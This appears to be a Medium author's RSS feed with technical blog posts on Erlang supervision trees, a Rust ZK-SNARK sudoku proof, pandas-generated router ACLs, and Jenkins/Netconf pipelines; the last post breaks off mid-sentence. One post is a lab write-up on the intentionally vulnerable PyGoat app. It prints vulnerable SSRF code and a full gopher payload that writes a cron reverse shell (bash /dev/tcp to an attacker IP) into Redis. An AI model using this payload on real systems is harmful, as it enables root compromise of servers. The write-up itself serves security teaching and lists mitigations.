<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tomas Delclaux on Medium]]></title>
        <description><![CDATA[Stories by Tomas Delclaux on Medium]]></description>
        <link>https://medium.com/@dlxtomas?source=rss-97598046a5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Fu0lMDDMWfRav48VdrS4tg.png</url>
            <title>Stories by Tomas Delclaux on Medium</title>
            <link>https://medium.com/@dlxtomas?source=rss-97598046a5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 16:54:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dlxtomas/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Using OTP Supervision Tree to Scale !!]]></title>
            <link>https://dlxtomas.medium.com/using-otp-supervision-tree-to-scale-fa7cb04273b8?source=rss-97598046a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa7cb04273b8</guid>
            <category><![CDATA[distributed-systems]]></category>
            <category><![CDATA[elixir]]></category>
            <category><![CDATA[erlang]]></category>
            <category><![CDATA[concurrency]]></category>
            <dc:creator><![CDATA[Tomas Delclaux]]></dc:creator>
            <pubDate>Wed, 25 Oct 2023 21:42:07 GMT</pubDate>
            <atom:updated>2023-10-25T22:00:02.435Z</atom:updated>
            <content:encoded><![CDATA[<h3>Using OTP Supervision Tree to Scale !!</h3><p>An OTP supervision tree is a supervision tree where processes are leafs managed by supervisors which in turn are managed by upper level supervisors, making an extremely scalable and fault tolerant application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/0*NIDsKya63Z5jzIiM.png" /><figcaption><a href="https://dev.to/lgdev07/elixir-otp-basics-with-project-example-19hg">https://dev.to/lgdev07/elixir-otp-basics-with-project-example-19hg</a></figcaption></figure><p>They are super powerfule and yet not used that often. Most likely because there are not a lot of examples in the internet, and that is where I hope this post adds some value.</p><p>So I just completed a project using the OTP supervision to do a simulation of a “twitter-like” (messaging sharing) application, and was super impressed with how scalable it is and fault tolerant.</p><p>OTP Supervision tree for this example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EpYSV9luR-8bttXc.png" /></figure><p>The root of the OTP tree which supervises three supervisors colored in green can be started like this:</p><pre>%%%-------------------------------------------------------------------<br>%% @doc twitter top level supervisor.<br>%% @end<br>%%%-------------------------------------------------------------------<br><br>-module(twitter_sup).<br><br>-behaviour(supervisor).<br><br>-export([start_link/0]).<br><br>-export([init/1]).<br><br>-define(SERVER, ?MODULE).<br><br>start_link() -&gt;<br>    supervisor:start_link({local, ?SERVER}, ?MODULE, []).<br><br>init([]) -&gt;<br>    SupFlags = {one_for_one, 10, 3600},<br>    TwitServSup = {twitter_server_sup, {twitter_server_sup, start_link, []}, permanent, 2000, supervisor, [twitter_server_sup]},<br>    UserSupSpec = {twitter_user_sup, {twitter_user_sup, start_link, []}, permanent, 2000, supervisor, [twitter_user_sup]},<br>    TweetsSup = {twitter_tweets_sup, {twitter_tweets_sup, start_link, []}, permanent, 2000, supervisor, [twitter_tweets_sup]},<br>    {ok, {SupFlags, [UserSupSpec, TweetsSup, TwitServSup]}}.</pre><p>FYI: You can kind of know that this is not used as often as it used, when there is no syntax highlighter in medium for elixir or erlang :)</p><p>The init function then starts the other supervision trees which handle specific functions. In this regard, an OTP application can also be thought as a sort of “microservices” application since you can have separate supervisors for separate functions and aggregate them together in the tree. Furthermore, these supervisors do not need to be running in the same machine since the Erlang VM supports distribution making it an even stronger framework.</p><p>The other supervisors can be started like this:</p><p><em>For the tweets engine:</em></p><pre>-module(twitter_tweets_sup).<br>-behaviour(supervisor).<br><br>-export([start_link/0]).<br>-export([init/1]).<br><br>start_link() -&gt;<br>  supervisor:start_link({local, ?MODULE}, ?MODULE, []).<br><br>init([]) -&gt;<br>  SupFlags = {one_for_one, 10, 3600},<br>  Tweets = {twitter_tweets, {twitter_tweets, start_link, []}, permanent, 2000, worker, [twitter_tweets]},<br>  {ok, {SupFlags, [Tweets]}}.</pre><p><em>For the TCP connection handlers:</em></p><pre>-module(twitter_server_sup).<br>-behaviour(supervisor).<br><br>-export([start_link/0, start_socket/0]).<br>-export([init/1]).<br><br>start_link() -&gt;<br>    supervisor:start_link({local, ?MODULE}, ?MODULE, []).<br><br>init([]) -&gt;<br>    {ok, LSock} = gen_tcp:listen(8000, [{active,once}, {packet,2}]),<br>    spawn_link(fun empty_listeners/0),<br>    SupFlags = {simple_one_for_one, 10, 3600},<br>    TwitterSpec = {twitter_server, {twitter_server, start_link, [LSock]}, temporary, 2000, worker, [twitter_server]},<br>    {ok, {SupFlags, [TwitterSpec]}}.<br><br>start_socket() -&gt;<br>  supervisor:start_child(?MODULE, []).<br><br>empty_listeners() -&gt;<br>  [start_socket() || _ &lt;- lists:seq(1,500)],<br>  ok.</pre><p><em>For the user, subscriptions engine:</em></p><pre>-module(twitter_user_sup).<br>-behaviour(supervisor).<br><br>-export([start_link/0]).<br>-export([init/1]).<br><br>start_link() -&gt;<br>  supervisor:start_link({local, ?MODULE}, ?MODULE, []).<br><br>init([]) -&gt;<br>  SupFlags = {one_for_one, 10, 3600},<br>  UsersSpec = {twitter_users, {twitter_users, start_link, []}, permanent, 2000, worker, [twitter_users]},<br>  {ok, {SupFlags, [UsersSpec]}}.</pre><p>The performance, I was able to achieve running the OTP application in my own laptop was pretty great:</p><pre>2&gt; simulation:stop().<br>Users: 400<br>Tweets: 4194<br>ReTweets: 253<br>Connections: 4066<br>Simulation Time(mins): 16.91827317285<br>** exception exit: killed</pre><p>Close to 4500 tweets (including retweets) for 400 users. This is about 280 tweets per minute. Considering, this is running locally on a laptop, the results are more than impressive. 1000 laptops and the application would be close to the 350K tweets that twitter handles per minute !!!.</p><p>What also adds a lot of power is the fact that processes are isolated from each other, and that if one of them fails the application will continue to run for the rest of the processes. The supervisor will try to revive the failed process but the error does not propagate to other processes, making the whole application extremely fault tolerant.</p><p>Full link to the project including the server, client and the simulation to test both can be found here:</p><p><a href="https://github.com/tomasdelclaux/ErlTwitter/tree/main">https://github.com/tomasdelclaux/ErlTwitter/tree/main</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa7cb04273b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sudoku ZK-SNARK Example]]></title>
            <link>https://dlxtomas.medium.com/sudoku-zk-snark-example-48ccbd5cf8a1?source=rss-97598046a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/48ccbd5cf8a1</guid>
            <category><![CDATA[zero-knowledge-proofs]]></category>
            <dc:creator><![CDATA[Tomas Delclaux]]></dc:creator>
            <pubDate>Sat, 21 Oct 2023 01:44:27 GMT</pubDate>
            <atom:updated>2023-10-21T01:47:54.455Z</atom:updated>
            <content:encoded><![CDATA[<p>So I thought I would just create a post of a walk through of ZK-SNARK based on Groth16. Let’s begin !!</p><p>The idea of zero knowledge in a nutshell is to proof “something” without revealing information that could lead to the inference of that “something”. In this example, the idea is to proof that one has the solution to a sudoku problem without revealing the solution to it. For this to work, the code below uses Groth16 as the zero knowledge proving system, Rust as the programming language, and arkworks for the snark library.</p><p>The first thing needed is to break down the problem into a series of R1CS constraints that the solution must have. In the case of a sudoku, that is that the rows, columns and the 3x3 matrices have unique values.</p><p><em>Row Checker:</em></p><pre>fn check_rows&lt;const N: usize, ConstraintF: Field&gt;(<br>    solution: &amp;Solution&lt;N, ConstraintF&gt;,<br>) -&gt; Result&lt;(), SynthesisError&gt; {<br>    for row in &amp;solution.0 {<br>        for (j, cell) in row.iter().enumerate() {<br>            for prev in &amp;row[0..j] {<br>                cell.is_neq(&amp;prev)?<br>                    .enforce_equal(&amp;Boolean::TRUE)?;<br>            }<br>        }<br>    }<br>    Ok(())<br>}</pre><p><em>Column Checker:</em></p><pre>fn check_cols&lt;const N: usize, ConstraintF: Field&gt;(<br>    solution: &amp;Solution&lt;N, ConstraintF&gt;,<br>)-&gt; Result&lt;(), SynthesisError&gt;{<br>    let mut transpose:Vec&lt;Vec&lt;UInt8&lt;ConstraintF&gt;&gt;&gt; = Vec::with_capacity(N*N);<br>    for i in 0..9{<br>        let col = &amp;solution.0.clone()<br>            .into_iter()<br>            .map(|s| s.into_iter().nth(i).unwrap())<br>            .collect::&lt;Vec&lt;UInt8&lt;ConstraintF&gt;&gt;&gt;();<br>        transpose.push(col.to_vec());<br>    }<br>    for row in transpose {<br>        for(j, cell) in row.iter().enumerate(){<br>            for prev in &amp;row[0..j] {<br>                cell.is_neq(&amp;prev)?.enforce_equal(&amp;Boolean::TRUE)?;<br>            }<br>        }<br>    }<br>    Ok(())<br>}</pre><p>3 by 3 Checker:</p><pre>fn check_3By3&lt;const N: usize, ConstraintF: Field&gt;(<br>    solution: &amp;Solution&lt;N, ConstraintF&gt;<br>)-&gt; Result&lt;(), SynthesisError&gt;{<br>    let mut flat:Vec&lt;UInt8&lt;ConstraintF&gt;&gt; = Vec::with_capacity(N*N);<br>    for i in 0..3{<br>        for j in 0..3{<br>            flat.push(solution.0[i][j].clone());<br>        }<br>    }<br>    for (j,cell) in flat.iter().enumerate(){<br>        for prev in &amp;flat[0..j]{<br>            cell.is_neq(&amp;prev)?.enforce_equal(&amp;Boolean::TRUE)?;<br>        }<br>    }<br>    Ok(())<br>}</pre><p>Then these constraints are all enforced inside the function generate_constraints, which is called as part of the Groth16 setup and proof generation phases.</p><pre>impl&lt;const N:usize, F: Field&gt; ConstraintSynthesizer&lt;F&gt; for Puzzle&lt;N&gt; {<br>    fn generate_constraints(self, cs: ConstraintSystemRef&lt;F&gt;) -&gt; Result&lt;(), SynthesisError&gt; {<br>        let mut sudoku = self.sudoku;<br>        let mut solution = self.solution;<br><br>        let mut sudoku_var = Sudoku::new_witness(cs.clone(), || sudoku.ok_or(SynthesisError::AssignmentMissing))?;<br>        let mut solution_var = Solution::new_witness(cs.clone(), || solution.ok_or(SynthesisError::AssignmentMissing))?;<br><br>        check_sudoku_solution(&amp;sudoku_var, &amp;solution_var)?;<br>        check_rows(&amp;solution_var)?;<br>        check_cols(&amp;solution_var)?;<br>        check_3By3(&amp;solution_var)?;<br>        Ok(())<br>    }<br>}</pre><p>With the R1CS constraints expressed, the proof can then be constructed by first calling setup to produce a proving key and verification key. The proving key is used by the prover to generate proofs, which then the verifier verifies using the verification key.</p><pre>    println!(&quot;ZERO KNOWLEDGE SUDOKU R1CS&quot;);<br>    use ark_bls12_381::Fq as F;<br>    let sudoku = [<br>        [0,0,0,2,6,0,7,0,1],<br>        [6,8,0,0,7,0,0,9,0],<br>        [1,9,0,0,0,4,5,0,0],<br>        [8,2,0,1,0,0,0,4,0],<br>        [0,0,4,6,0,2,9,0,0],<br>        [0,5,0,0,0,3,0,2,8],<br>        [0,0,9,3,0,0,0,7,4],<br>        [0,4,0,0,5,0,0,3,6],<br>        [7,0,3,0,1,8,0,0,0]<br>    ];<br>    let solution = [<br>        [4,3,5,2,6,9,7,8,1],<br>        [6,8,2,5,7,1,4,9,3],<br>        [1,9,7,8,3,4,5,6,2],<br>        [8,2,6,1,9,5,3,4,7],<br>        [3,7,4,6,8,2,9,1,5],<br>        [9,5,1,7,4,3,6,2,8],<br>        [5,1,9,3,2,6,8,7,4],<br>        [2,4,8,9,5,7,1,3,6],<br>        [7,6,3,4,1,8,2,5,9]<br>    ];<br><br>    //To check correctness of zero knowledge proof<br>    // check_helper::&lt;9, F&gt;(&amp;sudoku, &amp;solution);<br><br>    // This may not be cryptographically safe, use<br>    // `OsRng` (for example) in production software.<br>    let mut rng = ark_std::rand::rngs::StdRng::seed_from_u64(test_rng().next_u64());<br><br>    //CIRCUIT SET UP<br>    println!(&quot;SET UP CIRCUIT AND GENERATE PK AND VK&quot;);<br>    let (pk, vk) = {<br>        let c = Puzzle::&lt;9&gt; {<br>            sudoku:None,<br>            solution:None<br>        };<br>        Groth16::&lt;Bls12_381&gt;::setup(c, &amp;mut rng).unwrap()<br>    };<br><br>    //GENERATE PROOFS<br>    println!(&quot;GENERATE PROOF&quot;);<br>    let example = Puzzle::&lt;9&gt;{<br>        sudoku:Some(sudoku),<br>        solution:Some(solution)<br>    };<br><br>    let proof = Groth16::&lt;Bls12_381&gt;::prove(&amp;pk, example, &amp;mut rng).unwrap();<br><br>    //VERIFY PROOF<br>    println!(&quot;VERIFIY PROOF&quot;);<br>    let mut flat:Vec&lt;BlsFr&gt; = Vec::with_capacity(9*9);<br>    for i in 0..9{<br>        for j in 0..9{<br>            flat.push(BlsFr::from(sudoku[i][j]));<br>        }<br>    }<br><br>    assert!(<br>        Groth16::&lt;Bls12_381&gt;::verify(&amp;vk, &amp;[], &amp;proof).unwrap()<br>    );</pre><p>In this example, the elliptic curve BLS12_381 is being used, and both the sudoku problem and its solution are passed as private inputs (witnesses) into the proof.</p><p>The full code can be found here:</p><p><a href="https://github.com/tomasdelclaux/ZK-SNARKs/blob/main/Zudoku/src/main.rs">ZK-SNARKs/Zudoku/src/main.rs at main · tomasdelclaux/ZK-SNARKs</a></p><p>Ps: example may not be cryptographically safe for production use !!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48ccbd5cf8a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Redis needs protection !]]></title>
            <link>https://dlxtomas.medium.com/why-redis-needs-protection-eef896baa581?source=rss-97598046a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/eef896baa581</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-vulnerabilities]]></category>
            <dc:creator><![CDATA[Tomas Delclaux]]></dc:creator>
            <pubDate>Tue, 03 Oct 2023 21:25:31 GMT</pubDate>
            <atom:updated>2023-10-03T21:25:31.319Z</atom:updated>
            <content:encoded><![CDATA[<h3>Why Redis needs protection !</h3><p>So I have been playing around with Redis and potential vulnerabilities and attacks that it might have. Redis is often to use to cache temporary data and since it is often not persisted not much attention is given to it, but there is a lot of things that Redis can do and that leads to interesting possibilities.</p><p>The case in this article is how an old Redis version can be exploited using Server Side Request Forgery to write to the cronjob to get a remote shell for an attacker. The interesting thing here is that Redis is not publicly accessible, only through the web server which no one would have access to. Lets dig into the ingredient for this recipe for disaster !</p><p>First, the server has an unsecure URL parsing. This is the essence of all SSRFs and hence first point to make secure by using secure parsing libraries.</p><pre>def ssrf_blind_lab(request):<br>    if request.user.is_authenticated:<br>        if request.method==&quot;GET&quot;:<br>            q=request.GET.get(’q’, ’’)<br>            params=urllib.parse.parse_qs(q)<br>            param=q<br>for k,v in params.items():<br>    param=v[0]<br>if q: try:<br>params=urllib.parse.unquote(q)<br>host=urllib.parse.urlparse(q).netloc.split(&quot;:&quot;)<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host[0], int(host[1])))<br>if params.find(&quot;http://&quot;+host[0]+&quot;:&quot;+host[1])&gt;-1:<br>params=params[len(&quot;http://&quot;+host[0]+&quot;:&quot;+host[1]) :]<br>s.sendall((&quot;GET &quot;+params).encode())<br>s.close()<br>    except:<br>        render(request,&quot;Lab/ssrf/ssrf_blind_lab.html&quot;)<br>if param == &quot;Aries&quot;:<br>    info=&quot;They dive headfirst into all challenges&quot;<br>elif param==&quot;Taurus&quot;:<br>info=&quot;They like relaxing and are bucolic&quot;</pre><p>urlparse to get whatever the params are and then send that to host[0]:host[1] which in this case is the Redis db.</p><p>The front end for this request can be seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KotrUfKQGUxMhpauCLskgQ.png" /></figure><p>When clicking on the site analytics the url looks something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MlBcqtibDIu_vgk5Nq6J5A.png" /></figure><p>This is a No No, never have a url inside another url, otherwise SSRF attacks will be possible.</p><p>Now with Redis. Old versions of Redis support Gopher. Make sure it is disabled to avoid problems. The problem with Gopher can be seen in the screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t5v2KdGhIpt0txIRmOElRw.png" /></figure><p>As it can be seen Gopher payloads can be embedded on a http connections and they act just as commands on a telnet connection.</p><p>So, this means that the SSRF vulnerability from before can be combined with the Redis Gopher to try and write something to the file system of the machine. Recall that whilst Redis is not meant for persistence of data, it does allow it. In a case where Redis is running as root, it can be used to write into cronjob.</p><p>What payload to send:</p><pre>gopher://127.0.0.1:6379/_*1<br>$8<br>flushall<br>*3<br>$3<br>set<br>$1 1 $67<br>*/1 * * * * bash -c &quot;sh -i &gt;&amp; /dev/tcp/192.168.64.1/1234 0&gt;&amp;1&quot;<br><br><br>*4<br>$6<br>config<br>$3<br>set<br>$3<br>dir<br>$16 /var/spool/cron/ *4<br>$6<br>config<br>$3<br>set<br>$10<br>dbfilename<br>$4<br>root<br>*1<br>$4<br>save</pre><p>We are trying with this command to paste into cronjob a reverse shell:</p><pre>*/1 * * * * bash -c &quot;sh -i &gt;&amp; /dev/tcp/192.168.64.1/1234 0&gt;&amp;1&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xte4Uhmxlz-Cl4t4ZK-6AA.png" /></figure><p>The screenshots above showcase the result of the output of the cronjob file. It is important to note that this only works in some linux distros, since it depends on how the parsing of the cronjob tasks are implemented. In this case in Fedora, the aof-preamble is ignored so the reverse shell cronjob occurs.</p><p>The last screenshot is the end result of a reverse shell as root!!</p><p>How to avoid:</p><p>1- Redis is secure with authentication, and is not running as root.</p><p>2- Disable Gopher on Redis. I believe latest versions do this as default.</p><p>3- Check that the urlparse is secure. Only parse what needs to be parsed and ensure that it does not assume right input.</p><p>The whole code for this lab can be found in my fork of the open source OWASP project <strong>Pygoat</strong>:</p><p><a href="https://github.com/tomasdelclaux/pygoat">GitHub - tomasdelclaux/pygoat: intentionally vuln web Application Security in django</a></p><p>The original pygoat project can be found here:</p><p><a href="https://github.com/adeyosemanputra/pygoat">GitHub - adeyosemanputra/pygoat: intentionally vuln web Application Security in django</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eef896baa581" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Python Data Frames to Control Access List Configurations in a Network]]></title>
            <link>https://dlxtomas.medium.com/using-python-data-frames-to-control-access-list-configurations-in-a-network-7a170951cc4?source=rss-97598046a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a170951cc4</guid>
            <category><![CDATA[pandas-dataframe]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Tomas Delclaux]]></dc:creator>
            <pubDate>Sun, 29 Nov 2020 22:54:15 GMT</pubDate>
            <atom:updated>2020-11-29T22:54:15.977Z</atom:updated>
            <content:encoded><![CDATA[<h4>Simple but powerful example</h4><h4>Introduction</h4><p>Access Lists (ACL) are an essential part of network security, controlling input and output traffic, but as networks today are becoming more and more granular, nearly reaching user level (where traffic flows are defined per endpoint), the amount of ACLs that a given router must hold becomes increasingly high, and with it the task to manage such configuration becomes herculean.</p><p>Using data frames, traffic flows can be configured as a matrix of communication between endpoints, and pandas can be used to process this matrix and produce the resulting ACL configurations for each router.</p><h4>Sample Network</h4><p>Lets consider the topology diagram shown below where there are several endpoints distributed across different sites, and connected to each other via a site edge router and a wide area network (WAN).</p><p>On the left hand side, there are sites where users connect to, and on the right hand side there are data centers that host applications that users can connect to. This is a typical enterprise set up, where the user sites are offices and the data centers are the servers hosting the applications and data. The connectivity between offices and data centers occurs across the wan network, but ACLs are applied at the edge routers of each site to control traffic flow. The allowed traffic will be defined in a matrix containing entries like this:</p><p>(A:B)</p><p>This means endpoint A allowed to communicate with endpoint B.</p><p>The idea is then to group flows in the matrix by source site and destination site, to get the ACLs that need to be configured in each edge router from a central source of information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*pIF7Nxkp9W49z7mQTuHWzg.png" /><figcaption>Conceptual Topology Diagram</figcaption></figure><h4>ACL Configuration</h4><p>ACL configuration has to be configured on the edge routers in both directions to allow traffic from source to destination and vice versa. The reason for this is that traffic flows that are not present in the data frame matrix will be denied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*NzBMmPQmiG5m4Jw4PDF03Q.png" /><figcaption>Diagram showing how the traffic is filtered in each endpoint</figcaption></figure><h4>User site edge router configuration example</h4><pre>hostname RUser<br>!<br>interface ethernet0<br> ip access-group 101 out<br>!<br>interface ethernet1<br>  ip access-group 2 in<br>!<br>access-list 101 permit ip 192.168.32.14 0.0.0.0 172.16.8.3 0.0.0.0<br>access-list 102 permit ip 172.16.8.3 0.0.0.0 192.168.32.14 0.0.0.0</pre><h4>Data center edge router configuration example</h4><pre>hostname RDC<br>!<br>interface ethernet0<br> ip access-group 1 out<br>!<br>interface ethernet1<br>  ip access-group 2 in<br>!<br>access-list 101 permit ip 172.16.8.3 0.0.0.0 192.168.32.14 0.0.0.0<br>access-list 102 permit 192.168.32.14 0.0.0.0 172.16.8.3 0.0.0.0</pre><h4>Data Set Overview</h4><pre>import pandas as pd</pre><pre>dfUsers = pd.read_excel(“DataSet.xls”, “Users”)<br>dfApps = pd.read_excel(“DataSet.xls”, “Apps”)<br>dfFlows = pd.read_excel(“DataSet.xls”, “Rules”)</pre><pre>print(“Users and where they are located”)<br>print(dfUsers.head())<br>print(“\n”)</pre><pre>print(“Apps and where they are located”)<br>print(dfApps.head())<br>print(“\n”)</pre><pre>print(“Allowed traffic flows”)<br>print(dfFlows.head())</pre><pre>Users and where they are located<br>      Name  Sites      Address<br>0     Liam     23  192.168.1.1<br>1     Noah      8  192.168.1.2<br>2   Oliver     25  192.168.1.3<br>3  William     40  192.168.1.4<br>4   Elijah     89  192.168.1.5<br><br><br>Apps and where they are located<br>         Apps  DataCenters     Address<br>0    Facebook            2  172.16.8.1<br>1      Google            1  172.16.8.2<br>2        Word            5  172.16.8.3<br>3  PowerPoint            5  172.16.8.4<br>4       Excel            1  172.16.8.5<br><br><br>Allowed traffic flows<br>  EndpointA  EndpointB<br>0    Alaina  CyberDuck<br>1    Monroe  CyberDuck<br>2      Cora     Safari<br>3     Layne  FileZilla<br>4     Sarah         SM</pre><h4>Enrich dfFlows with the site data for each endpoint to then be able to group by site</h4><pre>dfUsers.loc[dfUsers[‘Name’] == ‘Thomas’][‘Sites’].array[0]</pre><pre>def find_user_site(row):<br> name = row[‘EndpointA’]<br> return dfUsers.loc[dfUsers[‘Name’] == name][‘Sites’].array[0]</pre><pre>def find_app_dc(row):<br> app = row[‘EndpointB’]<br> return dfApps.loc[dfApps[‘Apps’] == app][‘DataCenters’].array[0]</pre><pre>def find_user_address(row):<br> name = row[‘EndpointA’]<br> return dfUsers.loc[dfUsers[‘Name’] == name][‘Address’].array[0]</pre><pre>def find_app_address(row):<br> app = row[‘EndpointB’]<br> return dfApps.loc[dfApps[‘Apps’] == app][‘Address’].array[0]</pre><pre>dfFlows[‘siteA’] = dfFlows.apply(lambda row: find_user_site(row), axis=1)<br>dfFlows[‘siteB’] = dfFlows.apply(lambda row: find_app_dc(row), axis=1)<br>dfFlows[‘userAddress’] = dfFlows.apply(lambda row: find_user_address(row), axis=1)<br>dfFlows[‘appAddress’] = dfFlows.apply(lambda row: find_app_address(row), axis=1)</pre><pre>print(dfFlows.head())</pre><pre>EndpointA  EndpointB  siteA  siteB    userAddress   appAddress<br>0    Alaina  CyberDuck     48      4  192.168.5.174  172.16.8.15<br>1    Monroe  CyberDuck     20      4   192.168.7.80  172.16.8.15<br>2      Cora     Safari     88      5   192.168.5.59  172.16.8.19<br>3     Layne  FileZilla     84      2  192.168.3.177  172.16.8.16<br>4     Sarah         SM     53      1   192.168.5.69  172.16.8.12</pre><h4>Configuration Templates Using Jinja</h4><pre>from jinja2 import Template</pre><pre>def router_basic_config(site, siteType):<br>    tmpl = Template(u&#39;&#39;&#39;\<br>    hostname R{{ siteType }}{{ site }}<br>    !<br>    interface ethernet0<br>     ip access-group 101 out<br>    !<br>    interface ethernet1<br>      ip access-group 2 in<br>    !<br>    &#39;&#39;&#39;)<br>    <br>    config = tmpl.render(<br>        site=u&quot;{}&quot;.format(site),<br>        siteType=u&quot;{}&quot;.format(siteType)<br>    )<br>    <br>    print(config)</pre><pre>def acl(source, destination, seqnumber):<br>    tmpl = Template(u&#39;&#39;&#39;\<br>    access-list 101 {{ seqnumber }} permit ip {{ source }} 0.0.0.0 {{ destination }} 0.0.0.0<br>    access-list 102 {{ seqnumber }} permit ip {{ destination }} 0.0.0.0 {{ source }} 0.0.0.0<br>    &#39;&#39;&#39;)<br>    <br>    config = tmpl.render(<br>        source = u&quot;{}&quot;.format(source),<br>        destination = u&quot;{}&quot;.format(destination),<br>        seqnumber = u&quot;{}&quot;.format(seqnumber)<br>    )<br>    <br>    print(config)</pre><h4>Use Data Frame and Jinja Template to Produce Configurations for All Routers in All Sites</h4><ul><li>User Sites Router Configurations</li></ul><pre>for i, group in dfFlows.groupby([‘siteA’]):<br> router_basic_config(group.iloc[1][‘siteA’], “user”)<br> seqnumber=5<br> for entry in group[[‘userAddress’, ‘appAddress’]].itertuples():<br> seqnumber+=5<br> acl(entry[1], entry[2],seqnumber)</pre><ul><li>Applications Data Center Router Configurations</li></ul><pre><br>for i, group in dfFlows.groupby([‘siteB’]):<br> router_basic_config(group.iloc[1][‘siteB’], “DC”)<br> seqnumber=5<br> for entry in group[[‘appAddress’, ‘userAddress’]].itertuples():<br> seqnumber += 5<br> acl(entry[1], entry[2], seqnumber)</pre><h3>Final Results</h3><p>Configurations like the ones below would be produced depending on the combinations defined in the connectivity matrix in data frame dfFlows. Automating the configuration of ACLs in this way can be particularly beneficial to minimize operational work on having to manage such configurations directly on a router. With this approach, the process is fairly straightforward and focus can instead be employed in getting updated information into the respective data frames, so that ACLs are representative of the user and application intent in the network.</p><pre>hostname Ruser1<br>    !<br>    interface ethernet0<br>     ip access-group 101 out<br>    !<br>    interface ethernet1<br>      ip access-group 2 in<br>    !<br>    <br>    access-list 101 10 permit ip 192.168.5.94 0.0.0.0 172.16.8.15 0.0.0.0<br>    access-list 102 10 permit ip 172.16.8.15 0.0.0.0 192.168.5.94 0.0.0.0<br>    <br>    access-list 101 15 permit ip 192.168.6.243 0.0.0.0 172.16.8.11 0.0.0.0<br>    access-list 102 15 permit ip 172.16.8.11 0.0.0.0 192.168.6.243 0.0.0.0</pre><pre>-------------------------------------------------------------------</pre><pre>hostname RDC1<br>    !<br>    interface ethernet0<br>     ip access-group 101 out<br>    !<br>    interface ethernet1<br>      ip access-group 2 in<br>    !<br>    <br>    access-list 101 10 permit ip 172.16.8.12 0.0.0.0 192.168.5.69 0.0.0.0<br>    access-list 102 10 permit ip 192.168.5.69 0.0.0.0 172.16.8.12 0.0.0.0<br>    <br>    access-list 101 15 permit ip 172.16.8.5 0.0.0.0 192.168.2.18 0.0.0.0<br>    access-list 102 15 permit ip 192.168.2.18 0.0.0.0 172.16.8.5 0.0.0.0<br>    <br>    access-list 101 20 permit ip 172.16.8.5 0.0.0.0 192.168.3.26 0.0.0.0<br>    access-list 102 20 permit ip 192.168.3.26 0.0.0.0 172.16.8.5 0.0.0.0</pre><pre>-------------------------------------------------------------------</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a170951cc4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Jenkins and Netconf to Create CI/CD Pipelines for Routers]]></title>
            <link>https://dlxtomas.medium.com/using-jenkins-and-netconf-to-create-ci-cd-pipelines-for-routers-3bf8224cddfa?source=rss-97598046a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bf8224cddfa</guid>
            <category><![CDATA[devnet]]></category>
            <category><![CDATA[netconf]]></category>
            <category><![CDATA[jenkins]]></category>
            <dc:creator><![CDATA[Tomas Delclaux]]></dc:creator>
            <pubDate>Mon, 12 Oct 2020 22:23:36 GMT</pubDate>
            <atom:updated>2020-10-12T22:23:36.446Z</atom:updated>
            <content:encoded><![CDATA[<h4>Create a DevNet deployment</h4><h3>Introduction</h3><p>A few days ago, I was building a new Jenkins pipeline for a classic DevOps project, and it occurred to me that maybe Jenkins could also be a nice tool for DevNet deployments. Now, to those not familiar with the concept, it refers to the practice of programmatically configuring and managing networking devices (routers, switches…).</p><p>Traditionally, networking devices did not have APIs that were well suited for programming, and thus, most of the changes in the running configurations of the devices were done via the use of cli (command line interface). The problem with the cli, from the point of view of programming, is that since commands need to be entered sequentially, if a program fails at some point in its runtime, to reverse the work done up to that point in the networking device becomes a hassle. In addition to that, networking devices such as routers, contain thousands of dependencies between different lines of configuration, and it often happens that a particular command won’t work unless a previous one has been enabled.</p><p>Fortunately, new APIs are being added to networking devices to make them more program-friendly. Netconf is a clear example of this; it allows for configuration to be passed in a xml format to the device, and hence removes the sequential problem of cli, and it is also transactional, which means that either the full xml configuration is applied by the device or nothing is.</p><p>In order to give my initial idea a go, and see how viable a Jenkins DevNet deployment could be, I decided to use Netconf.</p><h3>Netconf Python Scripts</h3><p>Before configuring the Jenkins Pipeline, I first created python scripts to get the device configuration and also to edit it. I would later use these scripts as part of my Jenkins pipeline.</p><p>For this example, I used a cisco IOS-XE device. I enabled netconf on 